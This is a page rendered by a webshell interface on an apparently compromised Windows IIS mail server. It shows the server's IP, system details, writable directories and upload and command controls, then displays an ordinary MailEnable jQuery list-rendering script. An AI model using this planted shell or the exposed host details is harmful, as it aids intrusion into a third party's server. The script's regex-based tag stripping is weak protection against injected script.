403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Program Files (x86)/Mail Enable/Bin/NETWebAdmin/Mondo/lang/sys/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Program Files (x86)/Mail Enable/Bin/NETWebAdmin/Mondo/lang/sys/scripts/LIBJQList.js
function jsonList_Init(jsonList) {
    jsonList_ShowData(jsonList);
    jsonList_ShowActions(jsonList);
}

function jsonList_Bind(jsonList, arrItems) {
    //used when binding via ajax/json
    jsonList.Items = arrItems;
    jsonList.selectedIndex = -1;
}

function jsonList_Sort(sColumn, reverse) {
    if (jsonList.Items) {
            //See: https://stackoverflow.com/questions/979256/sorting-an-array-of-javascript-objects-by-property
        var sort_by = function (field, reverse, primer) {
            var key = primer ? function (x) { return primer(x[field]) } : function (x) { return x[field] };
            reverse = !reverse ? 1 : -1;
            return function (a, b) {
                return a = key(a), b = key(b), reverse * ((a > b) - (b > a));
            }
        }
        jsonList.Items.sort(sort_by(sColumn, reverse, null));
    }
}

function jsonList_HighlightSelected() {
    $(".sysListTableData tr").on('click', function () {
        $(this).addClass("selected").siblings().removeClass("selected");
    });
}

function jsonList_ShowActions(jsonList, bAppend) {
    if ((jsonList.actionContainer) && (jsonList.actionContainer.length > 0) && (jsonList.Items)) {
        var oItem = jsonList.Items[jsonList.selectedIndex]
        var actions = $("#dvActions");
        if (actions.length == 0) {
            actions = $("<div id='dvActions'><ul></ul></div>");
            $(jsonList.actionContainer).append(actions);
        }
        var actionlist = actions.find("ul");
        if (!bAppend) {
            actionlist.empty();
        }
        var availableActions = null;
        if (jsonList.Options) {
            if (jsonList.Options['StateValidation']) {
                if (!(typeof jsonList.Options['StateValidation'] === "function")) { jsonList.Options['StateValidation'] = window[jsonList.Options['StateValidation']]; }
                availableActions = jsonList.Options['StateValidation'](oItem);
            }
        }
        if (jsonList.Actions) {
            $.each(jsonList.Actions, function (i, action) {
                if (jsonList.selectedIndex >= 0 && (!availableActions || (availableActions && availableActions[action.id] == 1))) {
                    var li = $("<li>" + action.Label + "</li>");
                    li.on('click', function () { if (!(typeof action.event === "function")) {action.event = window[action.event];} action.event(jsonList.Items[jsonList.selectedIndex], action, jsonList.selectedIndex); });
                    actionlist.append(li);
                }
            });
        }
    }
}

function jsonList_SelectItem(jsonList, i) {
    jsonList.selectedIndex = i;
    jsonList_ShowActions(jsonList);

    if (jsonList.onSelect) {
        if (!(typeof jsonList.onSelect === "function")) { jsonList.onSelect = window[jsonList.onSelect]; }
        jsonList.onSelect(jsonList, false);
    }

    if (jsonList.onDefaultAction) {
        if (!(typeof jsonList.onDefaultAction === "function")) { jsonList.onDefaultAction = window[jsonList.onDefaultAction]; }
        jsonList.onDefaultAction(jsonList, false);
    }
}


function jsonList_Default_Action(jsonList, i) {
    if (jsonList.Actions) {
        if (!(typeof jsonList.Actions[0].event === "function")) { jsonList.Actions[0].event = window[jsonList.Actions[0].event]; }
        jsonList.Actions[0].event(jsonList.Items[jsonList.selectedIndex], jsonList.Actions[0], jsonList.selectedIndex);
    }
}

function jsonList_ShowData(jsonList, bAppend) {
    var table_header = $("#tblDataHeader");
    if (table_header.length == 0) {
        table_header = $("<table id='tblDataHeader' class='dataTable_table sysListTableHeader'></table>");
        $(jsonList.listContainer).append(table_header);
        var tHead = $("<thead></thead>");
        var tr = $("<tr class='sysListTable_tr'></tr>");
        tHead.append(tr);
		if (jsonList.Headings) {

            $.each(jsonList.Headings, function (i, item) {
                var sColClass = '';
                var sColEvents = '';

                var sClasses = '';
                if (item.ClassName) {
                    sClasses += item.ClassName;
                }

                if ((item.Type == 'DateTime') || (item.Type == 'Numeric')) {
                    if (sClasses.length > 0) { sClasses += ' ' };
                    sClasses += "td_" + item.Type;
                }

                if (sClasses.length > 0) {
                    sColClass = " class=\"" + sClasses + "\"";
                }

                if (item.Width) {
                    sColClass += " style=\"width:" + item.Width + "\"";
                }

                if (jsonList.ColumnSort) {
                    sColEvents = " onclick=\"" + jsonList.ColumnSort.toString() + "('" + item.Property.toString() + "',this);\"";
                }
                var td = $("<td" + sColClass + sColEvents + ">" + item.Label + "</td>");
                tr.append(td);
            });
        }
        tr.append($("<td width=\"*\" class=\"col_last\"></td>"));
        table_header.append(tHead);
    }


    var table = $("#tblData");
    if (table.length == 0) {
        table = $("<div id='divData' class='sysListTable_scrollContent'><table id='tblData' class='dataTable_table sysListTableData'><tbody></tbody></table></div>");
        $(jsonList.listContainer).append(table);

    }
    var tablebody = table.find("tbody");
    if (!bAppend) {
        tablebody.find("tr").remove();
    }

    //now show any data from our array
    if (jsonList.Items) {
        $.each(jsonList.Items, function (i, item) {
            var tr = $("<tr class='sysListTable_tr_unselected'></tr>");
            tr.on('click', function () {
                $(this).addClass("selected").siblings().removeClass("selected");
                jsonList_SelectItem(jsonList, i);

            });
            tr.dblclick(function () {
                jsonList_Default_Action(jsonList, i);
            });
            tablebody.append(tr);
            RenderRow(jsonList, tr, item);
        });
    }

    //call the onselect so we can toggle any action button behaviour
    if (jsonList.onSelect) {
        if (!(typeof jsonList.onSelect === "function")) { jsonList.onSelect = window[jsonList.onSelect]; }
        jsonList.onSelect(jsonList, false);
    }


}

function GetColumnValue(oData, sColType) {
    var sData = oData;
    if (sData == null) {
        sData = '';
    }
    if (sColType == 'DateTime') {
        sData = (new Date(parseInt(sData.substr(6)))).toLocaleString();
    }
    return sData;
}

function RemoveScript(sData) {
    //remove any script blocks
    sData = sData.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, "[script]");
    //remove any images that have a source (that could contain an external link
    sData = sData.replace(/<img\s+src\s*=\s*["']([^"']+)["']\s*\/*>/gi, "[img]");
    //remove any anchor hrefs
    sData = sData.replace(/<a\s+href\s*=\s*["']([^"']+)["']\s*\/*>/gi, "[href]");
    return sData;
}

function escapeHTML(sStr) {
    var escaped = {'&': '&amp;','<': '&lt;','>': '&gt;','"': '&quot;', '\'': '&#039;'};
    return sStr.toString().replace(/[&<>"']/g, function (match) { return escaped[match];});
}

function RenderRow(jsonList, tr, item) {
    tr.empty();
    if (jsonList.Headings) {
        $.each(jsonList.Headings, function (i, col) {
            var sColClass = '';
            var sClasses = '';
            if (col.ClassName) {
                sClasses += col.ClassName;
            }

            if ((col.Type == 'DateTime') || (col.Type == 'Numeric')) {
                if (sClasses.length > 0) { sClasses += ' ' };
                sClasses += "td_" + col.Type;
            }

            if (sClasses.length > 0) {
                sColClass = " class=\"" + sClasses + "\"";
            }

            //protect againt html/script in data field
            var sData = GetColumnValue(item[col.Property], col.Type);
            if (col.Type) {
                if (col.Type == 'String') {
                    sData =  escapeHTML(sData);
                }
                else {
                    if (col.Type == 'HTML') {
                        sData = RemoveScript(sData);
                    }
                }
            }
            if (col.Width) {
                sColClass += " style=\" width:" + col.Width + "\"";
            }

            if (col.onRender) {
                if (!(typeof col.onRender === "function")) { col.onRender = window[col.onRender]; }
                tr.append($("<td" + sColClass + ">" + col.onRender(item, sData) + "</td>"));
            }
            else {
                var tdData = $("<td" + sColClass + "></td>");
                tdData.text(sData);
                tdData.attr('title', sData);
                tr.append(tdData);
            }
        });
    }
    tr.append($("<td width=\"*\" class=\"col_last\"></td>"));
}

function jsonList_UpdateScrollContainer() {
    var tblHeaderHeight = $("#tblDataHeader").outerHeight();
    var tblContentHeight = $(".sysListTable_shell").outerHeight() - tblHeaderHeight;
    if (tblContentHeight <= 0) { tblContentHeight = 0; }
    $(".sysListTable_scrollContent").height(tblContentHeight);
}

Youez - 2016 - github.com/yon3zu
LinuXploit